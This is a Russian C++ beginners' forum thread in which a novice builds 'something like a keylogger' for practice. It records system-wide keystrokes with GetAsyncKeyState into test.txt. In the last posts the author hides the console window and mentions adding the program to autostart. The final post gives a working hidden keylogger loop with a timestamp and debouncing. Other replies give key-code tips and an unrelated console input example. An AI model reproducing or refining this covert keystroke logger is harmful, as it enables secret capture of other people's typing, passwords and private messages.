Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.85/48: Рейтинг темы: голосов - 48, средняя оценка - 4.85
17 / 18 / 1
Регистрация: 03.12.2015
Сообщений: 97
1

GetAsyncKeyState обычные клавиши

30.01.2016, 19:46. Показов 8902. Ответов 5
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Недавно начал учится программированию c++ и для практики решил сделать "что-то типо кей логгера". Естественно чтобы фиксировал нажатия везде (не только в своём окне) и писал в файл. Знаний совсем мало, но должно хватить я думаю.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(){
      setlocale(0, "");
      string st;
      ofstream F;
      while(1){
             Sleep(750);
             F.open("test.txt", ios::app);
             if(GetAsyncKeyState(VK_DOWN)){
                 st = "Стрелка вниз \n";
              }
        F << st;
        F.close();
    }
}
Что-то вроде этого. Вопрос как сделать что-бы GetAsyncKeyState фиксировал нажатия обычных клавиш(а-я, 0-9 и т.д). Ведь кода типа VK_ для них я не нашёл. Помогите пожалуйста.
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
30.01.2016, 19:46
Ответы с готовыми решениями:

GetAsyncKeyState удерживание клавиши
Как можно сделать удерживание клавиши? GetAsyncKeyState Пока я её держу, код выполняется. Как...

getasynckeystate
сделал такой код if getasynckeystate($30)&lt;&gt;0 then list.Add('0'); if getasynckeystate($31)&lt;&gt;0...

GetAsyncKeyState
Добрый день! Есть простая функция, которая &quot;слушает&quot; нажатия с клавиатуры в бесконечном цикле...

GetAsyncKeyState()
Всем привет! как можно предать значение из Combobox'а в if GetAsyncKeyState( Сюда ) &lt;&gt; 0 then ??...

5
2549 / 1208 / 358
Регистрация: 30.11.2013
Сообщений: 3,826
30.01.2016, 19:51 2
Что именно при запросе "GetAsyncKeyState for letters" в выдаче гугла вас смутило?
0
17 / 18 / 1
Регистрация: 03.12.2015
Сообщений: 97
30.01.2016, 22:27  [ТС] 3
Всё норм, просто коды клавиш нашёл неправильные вот и не работало. Но сейчас проблема в другом, подскажите пожалуйста как лучше сделать, я не понимаю.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main()
{
    fon_work_and_reest(); //функция чтобы консольку было не видно, а заодно запись в автозагрузку
    setlocale(0, "");
    string st;
    
    ofstream F;    
    
    
    while(1){           //бесконечный цикл
        Sleep(200);
        F.open("test.txt", ios::app);       //открытие файла для записи в конец
        for(int i = 1; i < 257; i++){       
            if(GetAsyncKeyState(i)){        //проверка на нажатую клавишу
                st = klav(i);
                F << st;
            }
        }
        F.close();
    }
 
 
 
 
 
}
Функция клав - обычный switch для перевода кода клавиши в букву(цифру/символ)
C++
1
2
3
4
5
6
7
8
9
10
11
string klav(int i){
    switch(i){
        case(65):
            st = "a";
        break;
        case(66):
            st = "b";
        break;
//             .................................
 
                return st;
Естественно клавиши иногда либо залипают(вместо "а" записывается "аааааа"), а иногда пропускается. Всё из-за Sleep(200);
если его сделать больше, чаще будут пропадать, меньше, больше будут залипать. Подскажите другой алгоритм пожалуйста.
0
2549 / 1208 / 358
Регистрация: 30.11.2013
Сообщений: 3,826
31.01.2016, 13:33 4
Andrewer,

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <iostream> 
#include <windows.h>
#include <conio.h>
using namespace std;
enum class Keys
{
    NOSET,
 
    LEFT = 75,
    RIGHT = 77,
    TOP = 72,
    DOWN = 80,
    ESC = 27,
    SPACE = 32,
    ENTER = 13,
    I = 'i',
 
};
void main()
{
    cout << "Pressed arrows or Esc for exit:" << endl;
    while(true)
    {
        if(_kbhit())                                                    
        {
            switch(static_cast<Keys>(_getch()))                         
            {
                case Keys::TOP:                                         
                    cout << "Up" << endl;
                    break;
                case Keys::DOWN:                                        
                    cout << "Down" << endl;
                    break;
                case Keys::LEFT:                                        
                    cout << "left" << endl;
                    break;
                case Keys::RIGHT:                                       
                    cout << "Right" << endl;
                    break;
                case Keys::I:
                    cout << "Hello world" << endl;
                    break;
                case Keys::ESC:                                         
                    exit(0);                                            
                    break;
            }
        }
    }
}
0
17 / 18 / 1
Регистрация: 03.12.2015
Сообщений: 97
01.02.2016, 11:30  [ТС] 5
Скажите, в какой среде пишете (каким компилятором пользуетесь), поскольку enum class - введён в c++ 11, и мой Dev c++ говорит что Keys не определён. Visual c++ 2010 говорит тоже самое.
0
17 / 18 / 1
Регистрация: 03.12.2015
Сообщений: 97
04.02.2016, 20:21  [ТС] 6
Как всегда решил всё сам.


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <windows.h>
#include <iostream>
#include <conio.h>
#include "fon.h"
#include <stdio.h>
#include <fstream>
#include <time.h>
 
using namespace std;
 
int main()
{
    setlocale(0, "");
 
 
    /* --------------------Функция скрытой работы-----------------*/
    
    fon_work();
    
    /*------------------------------------------------------------*/
 
 
 
 
    ofstream file_put;      //открытие потока
 
 
    /*----------------------Запись времени------------------*/
 
    
    time_t t;
 
    time(&t);
 
    string time = ctime(&t);
 
    char time_put[255];
 
    strcpy( time_put, time.c_str() );
      
    file_put.open("test.txt", ios::app);
 
    file_put << time_put << endl << endl << endl << endl;
 
    file_put.close();
 
 
 
    /*-----------------------------------------------------*/
 
 
 
    int b;      //переменная необходимая для работы основного цикла
    
    
    
    while(1){
        file_put.open("test.txt", ios::app);
        b = check();
        if(b != 255){               //почему-то иногда проскакивает 255 код клавиши и записывается пустой символ. Этого быть недолжно
            st = klav(b);           //чтобы не мешало видеть код - в отдельной функции
            if(st != '^'){          //и ещё 1 неизвестно какой символ
                file_put << st;
            }
        }
 
        /*-----------------------Цикл что-бы избежать "залипания" клавиш------------------------*/
        while(check() == b){
            Sleep(10);
        }
        /*--------------------------------------------------------------------------------------*/
 
        file_put.close();
    }
 
 
}
Функции -

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
char klav(int i){//в зависимости от кода клавиши определяет символ
    char st;
    switch(i){
        case(65):
            st = 'a';
        break;
        case(66):
            st = 'b';
        break;
//.................................................
//и т.д.
default:
            st = '^';
        }
    return st;
}
 
 
void fon_work()     //чтобы консольку небыло видно и всё
{
    LPCTSTR console = L"ConsoleWindowClass";
    ShowWindow(FindWindow(console, NULL), 0);
 
}
 
 
int check(){            //в цикле делает проверку и возвращает код нажатой клавиши.
    int resylt;
    for(int i = 1;i < 257;++i){
        if(GetAsyncKeyState(i)){
            resylt = i;
            break;
        }
    }
    return resylt;
}
0
04.02.2016, 20:21
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
04.02.2016, 20:21
Помогаю со студенческими работами здесь

GetAsyncKeyState
Доброго всем времени суток. Хочу сделать: на главной форме есть кнопка, по щелчку которой...

GetAsyncKeyState
Всем привет. В общем небольшая проблема возникла. Суть программы , при нажатии space она будет...

GetAsyncKeyState
Добрый день код программы #include &lt;vcl.h&gt; #pragma hdrstop #include &quot;windows.h&quot; #include...

GetAsyncKeyState и обработка
Добрый день! Можно ли каким-нибудь образом создать событие, отвечающее за нажатие любой клавиши, в...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru